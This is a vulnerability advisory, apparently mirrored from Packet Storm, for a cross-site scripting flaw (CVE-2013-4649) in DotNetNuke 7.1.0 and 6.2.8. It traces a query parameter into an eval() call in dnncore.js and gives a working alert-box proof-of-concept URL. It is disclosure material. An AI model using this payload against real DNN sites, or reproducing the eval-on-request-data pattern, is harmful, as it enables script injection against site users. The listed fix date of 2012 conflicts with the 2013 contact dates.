Lucene search
K

DotNetNuke (DNN) 7.1.0 / 6.2.8 Cross Site Scripting

🗓️ 13 Aug 2013 00:00:00Reported by Sajjad PouraliType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 45 Views

DotNetNuke (DNN) Cross-Site Scripting Vulnerability, Update to (6.2.9/7.1.1) required, Impact: Mediu

Related
Code
`Title: DotNetNuke (DNN) Cross-Site Scripting Vulnerability  
References: CVE-2013-4649  
Discovered by: Sajjad Pourali , Nasser Salim Al-Hadhrami  
  
Vendor http://dnnsoftware.com/  
Vendor advisory: http://www.dnnsoftware.com/Platform/Manage/Security-Bulletins (2013-07)  
Vendor contact: 2013-06-23  
Vendor response: 2013-06-24 (Cathal Connolly from DotNetNuke)  
Vendor fix and announcement: 2012-08-14  
  
Solution: Update To (6.2.9/7.1.1)  
  
Remote: yes  
Authentication required: no  
User interaction required: yes  
Impact: Medium  
  
Affected:  
  
- DNN 7.1.0 and earlier  
- DNN 6.2.8 and earlier  
  
Not affected:  
- DNN 7.1.1  
- DNN 6.2.9  
  
---  
  
Trace vulnerable place:  
  
http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'} :   
  
...  
  
<input name="__dnnVariable" type="hidden" id="__dnnVariable" autocomplete="off" value="`{`__dnn_pageload`:`alert(/XSS/)`,`__scdoff`:`1`}" />  
  
...  
  
  
http://www.vulnerable.com/js/dnn.js :   
  
...  
  
Type.registerNamespace("dnn");  
  
...  
  
http://www.vulnerable.com/js/dnncore.js :   
  
...  
  
function __dnn_ClientAPIEnabled()  
{  
return typeof (dnn) != "undefined"  
}  
  
...  
  
if (__dnn_ClientAPIEnabled())  
{  
var sLoadHandlers = dnn.getVar("__dnn_pageload");  
if (sLoadHandlers != null)  
{  
eval(sLoadHandlers)  
}  
dnn.dom.attachEvent(window, "onscroll", __dnn_bodyscroll)  
}  
__dnn_m_bPageLoaded = true  
}  
  
...  
  
---  
  
PoC:  
  
http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'}   
  
---  
  
+ Sajjad Pourali  
+ http://www.securation.com/  
+ http://www.cert.um.ac.ir/  
+ Contact: sajjad[at]securation.com  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation